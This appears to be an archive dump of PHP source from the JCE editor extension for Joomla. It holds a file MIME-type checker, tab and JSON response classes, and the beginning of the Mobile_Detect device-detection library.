        'text/richtext' => 'rtx',
        'text/sgml' => 'sgml sgm',
        'text/tab-separated-values' => 'tsv',
        'text/troff' => 't tr roff man me ms',
        'text/uri-list' => 'uri uris urls',
        'text/vnd.curl' => 'curl',
        'text/vnd.curl.dcurl' => 'dcurl',
        'text/vnd.curl.scurl' => 'scurl',
        'text/vnd.curl.mcurl' => 'mcurl',
        'text/vnd.fly' => 'fly',
        'text/vnd.fmi.flexstor' => 'flx',
        'text/vnd.graphviz' => 'gv',
        'text/vnd.in3d.3dml' => '3dml',
        'text/vnd.in3d.spot' => 'spot',
        'text/vnd.sun.j2me.app-descriptor' => 'jad',
        'text/vnd.wap.wml' => 'wml',
        'text/vnd.wap.wmlscript' => 'wmls',
        'text/x-asm' => 's asm',
        'text/x-c' => 'c cc cxx cpp h hh dic',
        'text/x-fortran' => 'f for f77 f90',
        'text/x-pascal' => 'p pas',
        'text/x-java-source' => 'java',
        'text/x-setext' => 'etx',
        'text/x-uuencode' => 'uu',
        'text/x-vcalendar' => 'vcs',
        'text/x-vcard' => 'vcf',
        'video/3gpp' => '3gp',
        'video/3gpp2' => '3g2',
        'video/h261' => 'h261',
        'video/h263' => 'h263',
        'video/h264' => 'h264',
        'video/jpeg' => 'jpgv',
        'video/jpm' => 'jpm jpgm',
        'video/mj2' => 'mj2 mjp2',
        'video/mp4' => 'mp4 mp4v mpg4',
        'video/mpeg' => 'mpeg mpg mpe m1v m2v',
        'video/ogg' => 'ogg ogv',
        'video/quicktime' => 'qt mov',
        'video/vnd.fvt' => 'fvt',
        'video/vnd.mpegurl' => 'mxu m4u',
        'video/vnd.ms-playready.media.pyv' => 'pyv',
        'video/vnd.vivo' => 'viv',
        'video/x-f4v' => 'f4v',
        'video/x-fli' => 'fli',
        'video/x-flv' => 'flv',
        'video/x-m4v' => 'm4v',
        'video/x-ms-asf' => 'asf asx wmv',
        'video/x-ms-wm' => 'wm',
        'video/x-ms-wmv' => 'wmv',
        'video/x-ms-wmx' => 'wmx',
        'video/x-ms-wvx' => 'wvx',
        'video/x-msvideo' => 'avi',
        'video/x-sgi-movie' => 'movie',
        'video/webm' => 'webm',
        'x-conference/x-cooltalk' => 'ice',
    );

    /**
     * $mimes getter - see $mimes.
     */
    private static function getMimes()
    {
        return self::$mimes;
    }

    /**
     * Get the mime type from the $mimes array.
     *
     * @param string $type
     *
     * @return string
     */
    private static function getMime($type)
    {
        // get mimetype array
        $mimes = self::getMimes();

        if (array_key_exists($type, $mimes)) {
            return explode(' ', $mimes[$type]);
        }

        return null;
    }

    private static function isSupported($extension)
    {
        // get mimetype array
        $mimes = self::getMimes();

        $supported = false;

        foreach(array_values($mimes) as $mime) {
            if (in_array($extension, explode(' ', $mime))) {
                $supported = true;
                break;
            }
        };

        return $supported;
    }

    /**
     * Check file mime type.
     *
     * @param string $name
     * @param string $path
     * @param string $type
     *
     * @return bool
     */
    public static function check($name, $path)
    {
        $extension = strtolower(substr($name, strrpos($name, '.') + 1));
        $mimetype = null;

        // if the extension is allowed, but no mimetype reference is found, let it through...
        if (self::isSupported($extension) === false) {
            return true;
        }

        if (function_exists('finfo_open')) {
            if (!$finfo = new finfo(FILEINFO_MIME_TYPE)) {
                return true;
            }
            $mimetype = $finfo->file($path);
        } elseif (function_exists('mime_content_type')) {
            $mimetype = @mime_content_type($path);
        }

        if ($mimetype) {
            $mime = self::getMime($mimetype);

            if ($mime) {
                if (!in_array($extension, $mime)) {
                    return false;
                }
            }
        }

        // server doesn't support mime type check, let it through...
        return true;
    }
}editor/libraries/classes/tabs.php000060400000012611150750527150013111 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

final class WFTabs extends JObject
{
    private $_tabs = array();
    private $_panels = array();
    private $_paths = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_LIBRARIES;
        }

        $this->setProperties($config);

        if (array_key_exists('template_path', $config)) {
            $this->addTemplatePath($config['template_path']);
        } else {
            $this->addTemplatePath($this->get('base_path').'/tmpl');
        }
    }

    /**
     * Returns a reference to a WFTabs object.
     *
     * This method must be invoked as:
     *    <pre>  $tabs = WFTabs::getInstance();</pre>
     *
     * @return object WFTabs
     */
    public static function getInstance($config = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($config);
        }

        return $instance;
    }

    /**
     * Add a template path.
     *
     * @param string $path
     */
    public function addTemplatePath($path)
    {
        $this->_paths[] = $path;
    }

    /**
     * Load a panel view.
     *
     * @param object $layout Layout (panel) name
     *
     * @return panel JView object
     */
    private function loadPanel($panel, $state)
    {
        $view = new WFView(array(
          'name' => $panel,
          'layout' => $panel,
        ));

        // add tab paths
        foreach ($this->_paths as $path) {
            $view->addTemplatePath($path);
        }

        // assign panel state to view
        $view->assign('state', (int) $state);

        return $view;
    }

    public function getPanel($panel)
    {
        if (array_key_exists($panel, $this->_panels)) {
            return $this->_panels[$panel];
        }

        return false;
    }

    /**
     * Add a tab to the document. A panel is automatically created and assigned.
     *
     * @param object $tab    Tab name
     * @param int    $state  Tab state (active or inactive)
     * @param array  $values An array of values to assign to panel view
     */
    public function addTab($tab, $state = 1, $values = array())
    {
        if (!array_key_exists($tab, $this->_tabs)) {
            $this->_tabs[$tab] = (int) $state === 1 ? $tab : '';

            $panel = $this->addPanel($tab, $state);

            // array is not empty and is associative
            if (!empty($values) && array_values($values) !== $values) {
                $panel->assign($values);
            }
        }
    }

    /**
     * Add a panel to the document.
     *
     * @param object $panel Panel name
     */
    public function addPanel($tab, $state)
    {
        if (!array_key_exists($tab, $this->_panels)) {
            $this->_panels[$tab] = $this->loadPanel($tab, $state);

            return $this->_panels[$tab];
        }
    }

    /**
     * Remove a tab from the document.
     *
     * @param object $tab Tab name
     */
    public function removeTab($tab)
    {
        if (array_key_exists($tab, $this->_tabs)) {
            unset($this->_tabs[$tab]);
        }
    }

    /**
     * Render the document tabs and panels.
     */
    public function render()
    {
        $output = '';

        if (!empty($this->_tabs)) {
            $output .= '<div id="tabs">';
        }

        // add tabs
        if (count($this->_tabs) > 1) {
            $output .= '<ul class="uk-tab">'."\n";

            $x = 0;

            foreach ($this->_tabs as $name => $tab) {
                $class = '';

                if ($x === 0) {
                    $class .= ' uk-active';
                }

                if (!$tab) {
                    $class .= ' uk-hidden';
                }

                $output .= "\t".'<li class="'.$class.'"><a href="#'.$name.'_tab">'.WFText::_('WF_TAB_'.strtoupper($name)).'</a></li>'."\n";
                ++$x;
            }

            $output .= "</ul>\n";
        }

        // add panels
        if (!empty($this->_panels)) {
            $x = 0;

            $output .= '<div class="uk-switcher">';

            foreach ($this->_panels as $key => $panel) {
                $class = '';

                if ($panel->state === 0) {
                    $class .= ' uk-hidden';
                }

                if (!empty($this->_tabs)) {
                    if ($x === 0) {
                        $class .= ' uk-active';
                    } else {
                        $class .= ' uk-tabs-hide';
                    }
                }

                $output .= '<div id="'.$key.'_tab" class="'.$class.'">';
                $output .= $panel->loadTemplate();
                $output .= '</div>';

                ++$x;
            }

            $output .= '</div>';
        }

        // add closing div
        if (!empty($this->_tabs)) {
            $output .= "</div>\n";
        }

        echo $output;
    }
}
editor/libraries/classes/response.php000060400000005217150750527150014022 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

final class WFResponse
{
    private $content = null;

    private $id = null;

    private $error = null;

    private $headers = array(
      'Content-Type' => 'text/json;charset=UTF-8',
  );

  /**
   * Constructor.
   *
   * @param $id Request id
   * @param null $content Response content
   * @param array $headers Optional headers
   */
  public function __construct($id, $content = null, $headers = array())
  {
      // et response content
      $this->setContent($content);

      // set id
      $this->id = $id;

      // set header
      $this->setHeaders($headers);

      return $this;
  }

  /**
   * Send response.
   *
   * @param array $data
   */
  public function send($data = array())
  {
      $data = array_merge($data, array(
          'jsonrpc' => '2.0',
          'id' => $this->id,
          'result' => $this->getContent(),
          'error' => $this->getError(),
      ));

      ob_start();

      // set custom headers
      foreach ($this->headers as $key => $value) {
          header($key.': '.$value);
      }

      // set output headers
      header('Expires: Mon, 4 April 1984 05:00:00 GMT');
      header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');
      header('Cache-Control: no-store, no-cache, must-revalidate');
      header('Cache-Control: post-check=0, pre-check=0', false);
      header('Pragma: no-cache');

      // only echo response if an id is set
      if (!empty($this->id)) {
          echo json_encode($data);
      }

      exit(ob_get_clean());
  }

    public function getHeader()
    {
        return $this->headers;
    }

    public function setHeaders($headers)
    {
        foreach ($headers as $key => $value) {
            $this->headers[$key] = $value;
        }

        return $this;
    }

  /**
   * @param array $error
   */
  public function setError($error = array('code' => -32603, 'message' => 'Internal error'))
  {
      $this->error = $error;

      return $this;
  }

    public function getError()
    {
        return $this->error;
    }

    public function getContent()
    {
        return $this->content;
    }

    public function setContent($content)
    {
        $this->content = $content;

        return $this;
    }
}
editor/libraries/classes/mobile.php000060400000232511150750527150013432 0ustar00<?php
/**
 * Mobile Detect Library
 * =====================.
 *
 * Motto: "Every business should have a mobile detection script to detect mobile readers"
 *
 * Mobile_Detect is a lightweight PHP class for detecting mobile devices (including tablets).
 * It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.
 *
 * @author      Current authors: Serban Ghita <serbanghita@gmail.com>
 *                               Nick Ilyin <nick.ilyin@gmail.com>
 *
 *              Original author: Victor Stanciu <vic.stanciu@gmail.com>
 * @license     Code and contributions have 'MIT License'
 *              More details: https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt
 *
 * @link        Homepage:     http://mobiledetect.net
 *              GitHub Repo:  https://github.com/serbanghita/Mobile-Detect
 *              Google Code:  http://code.google.com/p/php-mobile-detect/
 *              README:       https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
 *              HOWTO:        https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
 *
 * @version     2.8.24
 */
class Wf_Mobile_Detect
{
    /**
     * Mobile detection type.
     *
     * @deprecated since version 2.6.9
     */
    const DETECTION_TYPE_MOBILE = 'mobile';

    /**
     * Extended detection type.
     *
     * @deprecated since version 2.6.9
     */
    const DETECTION_TYPE_EXTENDED = 'extended';

    /**
     * A frequently used regular expression to extract version #s.
     *
     * @deprecated since version 2.6.9
     */
    const VER = '([\w._\+]+)';

    /**
     * Top-level device.
     */
    const MOBILE_GRADE_A = 'A';

    /**
     * Mid-level device.
     */
    const MOBILE_GRADE_B = 'B';

    /**
     * Low-level device.
     */
    const MOBILE_GRADE_C = 'C';

    /**
     * Stores the version number of the current release.
     */
    const VERSION = '2.8.24';

    /**
     * A type for the version() method indicating a string return value.
     */
    const VERSION_TYPE_STRING = 'text';

    /**
     * A type for the version() method indicating a float return value.
     */
    const VERSION_TYPE_FLOAT = 'float';

    /**
     * A cache for resolved matches.
     *
     * @var array
     */
    protected $cache = array();

    /**
     * The User-Agent HTTP header is stored in here.
     *
     * @var string
     */
    protected $userAgent = null;

    /**
     * HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
     *
     * @var array
     */
    protected $httpHeaders = array();

    /**
     * CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer, CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
     *
     * @var array
     */
    protected $cloudfrontHeaders = array();

    /**
     * The matching Regex.
     * This is good for debug.
     *
     * @var string
     */
    protected $matchingRegex = null;

    /**
     * The matches extracted from the regex expression.
     * This is good for debug.
     *
     * @var string
     */
    protected $matchesArray = null;

    /**
     * The detection type, using self::DETECTION_TYPE_MOBILE or self::DETECTION_TYPE_EXTENDED.
     *
     * @deprecated since version 2.6.9
     *
     * @var string
     */
    protected $detectionType = self::DETECTION_TYPE_MOBILE;

    /**
     * HTTP headers that trigger the 'isMobile' detection
     * to be true.
     *
     * @var array
     */
    protected static $mobileHeaders = array(

        'HTTP_ACCEPT' => array('matches' => array(
            // Opera Mini; @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/
            'application/x-obml2d',
            // BlackBerry devices.
            'application/vnd.rim.html',
            'text/vnd.wap.wml',
            'application/vnd.wap.xhtml+xml',
        )),
        'HTTP_X_WAP_PROFILE' => null,
        'HTTP_X_WAP_CLIENTID' => null,
        'HTTP_WAP_CONNECTION' => null,
        'HTTP_PROFILE' => null,
        // Reported by Opera on Nokia devices (eg. C3).
        'HTTP_X_OPERAMINI_PHONE_UA' => null,
        'HTTP_X_NOKIA_GATEWAY_ID' => null,
        'HTTP_X_ORANGE_ID' => null,
        'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
        'HTTP_X_HUAWEI_USERID' => null,
        // Reported by Windows Smartphones.
        'HTTP_UA_OS' => null,
        // Reported by Verizon, Vodafone proxy system.
        'HTTP_X_MOBILE_GATEWAY' => null,
        // Seen this on HTC Sensation. SensationXE_Beats_Z715e.
        'HTTP_X_ATT_DEVICEID' => null,
        // Seen this on a HTC.
        'HTTP_UA_CPU' => array('matches' => array('ARM')),
    );

    /**
     * List of mobile devices (phones).
     *
     * @var array
     */
    protected static $phoneDevices = array(
        'iPhone' => '\biPhone\b|\biPod\b', // |\biTunes
        'BlackBerry' => 'BlackBerry|\bBB10\b|rim[0-9]+',
        'HTC' => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m',
        'Nexus' => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6',
        // @todo: Is 'Dell Streak' a tablet or a phone? ;)
        'Dell' => 'Dell.*Streak|Dell.*Aero|Dell.*Venue|DELL.*Venue Pro|Dell Flash|Dell Smoke|Dell Mini 3iX|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
        'Motorola' => 'Motorola|DROIDX|DROID BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto E\b',
        'Samsung' => '\bSamsung\b|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F',
        'LG' => '\bLG\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323)',
        'Sony' => 'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533',
        'Asus' => 'Asus.*Galaxy|PadFone.*Mobile',
        'NokiaLumia' => 'Lumia [0-9]{3,4}',
        // http://www.micromaxinfo.com/mobiles/smartphones
        // Added because the codes might conflict with Acer Tablets.
        'Micromax' => 'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b',
        // @todo Complete the regex.
        'Palm' => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ;
        'Vertu' => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;)
        // http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH)
        // Most of the VEGA devices are legacy. PANTECH seem to be newer devices based on Android.
        'Pantech' => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790',
        // http://www.fly-phone.com/devices/smartphones/ ; Included only smartphones.
        'Fly' => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250',
        // http://fr.wikomobile.com
        'Wiko' => 'KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM',
        'iMobile' => 'i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)',
        // Added simvalley mobile just for fun. They have some interesting devices.
        // http://www.simvalley.fr/telephonie---gps-_22_telephonie-mobile_telephones_.html
        'SimValley' => '\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b',
        // Wolfgang - a brand that is sold by Aldi supermarkets.
        // http://www.wolfgangmobile.com/
        'Wolfgang' => 'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q',
        'Alcatel' => 'Alcatel',
        'Nintendo' => 'Nintendo 3DS',
        // http://en.wikipedia.org/wiki/Amoi
        'Amoi' => 'Amoi',
        // http://en.wikipedia.org/wiki/INQ
        'INQ' => 'INQ',
        // @Tapatalk is a mobile app; http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039
        'GenericPhone' => 'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser',
    );

    /**
     * List of tablet devices.
     *
     * @var array
     */
    protected static $tabletDevices = array(
        // @todo: check for mobile friendly emails topic.
        'iPad' => 'iPad|iPad.*Mobile',
        // Removed |^.*Android.*Nexus(?!(?:Mobile).)*$
        // @see #442
        'NexusTablet' => 'Android.*Nexus[\s]+(7|9|10)',
